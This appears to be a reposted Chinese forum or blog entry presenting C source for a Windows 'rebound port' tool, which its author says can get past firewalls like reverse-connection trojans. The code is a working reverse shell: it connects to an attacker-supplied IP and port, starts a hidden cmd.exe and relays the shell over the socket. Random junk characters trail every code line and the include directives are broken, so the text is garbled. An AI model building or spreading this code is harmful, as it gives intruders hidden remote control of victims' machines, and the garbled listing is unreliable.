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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _L8&.=4]i  
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/* ============================== 1'~+.92Y  
Rebound port in Windows NT 3JD62wtx  
By wind,2006/7 *l d)nH{  
===============================*/ ta&z lZt  
#include I e!KIU  
#include vT5GUO{5  
jpi,BVTI-X  
#pragma comment(lib,"wsock32.lib") ,U9j7E<4  
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void OutputShell(); A#$l;M.3R  
SOCKET sClient; 86%k2~L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7_Vd%<:  
}*XF- U  
void main(int argc,char **argv) ,pcyU\68v  
{ .NdsKhg b  
WSADATA stWsaData; LEKE+775  
int nRet; ="T}mc  
SOCKADDR_IN stSaiClient,stSaiServer; + o< 7*  
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if(argc != 3) pe[huYE  
{ R?:K\  
printf("Useage:\n\rRebound DestIP DestPort\n"); $I`,nN  
return; U-?r>K2  
} +2E~=xX  
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WSAStartup(MAKEWORD(2,2),&stWsaData); U;&s=M0[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /_<_X 7  
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stSaiClient.sin_family = AF_INET; =[4C[s  
stSaiClient.sin_port = htons(0); AJ 0Bb7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [9EL[}  
2P57C;N8|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D{]w +  
{ a&)$s;  
printf("Bind Socket Failed!\n"); s/?(G L+Ae  
return; 0Q%I[f8  
} 1b=\l/2  
)$Fw<;4  
stSaiServer.sin_family = AF_INET; _58&^:/^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7B _Wz9y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oz'jt} ?  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) How:_ Hj  
{ Ejf>QIB  
printf("Connect Error!"); '@^<c#h]=  
return; .:['&; k  
} -J!k|GK#MX  
OutputShell(); G* mLb1  
} KG5B6Om5'  
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void OutputShell() D//Ts`}+n  
{ .dBW{|gN  
char szBuff[1024]; \LS s@\$ g  
SECURITY_ATTRIBUTES stSecurityAttributes; RV5;EM)~[  
OSVERSIONINFO stOsversionInfo; imS&N.*3m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6mrfkYK  
STARTUPINFO stStartupInfo; am WIA`n=  
char *szShell; ctC! b{S"@  
PROCESS_INFORMATION stProcessInformation; . =A|  
unsigned long lBytesRead; JENq?$S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $/i;UUd  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [VB\ T|$  
stSecurityAttributes.lpSecurityDescriptor = 0; YKj P E  
stSecurityAttributes.bInheritHandle = TRUE;  - zEQ/6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mK7egAo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y'LIk Q\  
$VE=sS.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .7zdA IKW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0SLn0vD!  
stStartupInfo.wShowWindow = SW_HIDE; 0/%VejZ'  
stStartupInfo.hStdInput = hReadPipe; tTrue?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q,f5r%A.  
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GetVersionEx(&stOsversionInfo);  Et0;1  
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switch(stOsversionInfo.dwPlatformId) \.dvRI'  
{ [^-DFq5@  
case 1: Zz04Pz1  
szShell = "command.com"; :-.bXOB(  
break; *FUbKr0  
default: m]U`7!  
szShell = "cmd.exe"; $'VFb=?XrK  
break; ?g'? Ou  
} -i?-Xj#%  
-z4pI=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :u53zX[v  
rfMzHY}%  
send(sClient,szMsg,77,0); Ol]+l]  
while(1) 7l3sd5  
{ 2^7VDqLc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ',p`B-dw  
if(lBytesRead) {)0"?$C_H  
{ t1YVE%`w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "M.vu}~>  
send(sClient,szBuff,lBytesRead,0); ] T! >]  
} W`-AN}C#  
else 3 tp'}v  
{ l;SqjkN  
lBytesRead=recv(sClient,szBuff,1024,0); q>*+.~  
if(lBytesRead<=0) break; Wf=D'6w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F|XRh6j  
} AA um1xl  
} _0<EbJ8Z  
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return; i 7 f/r.  
}
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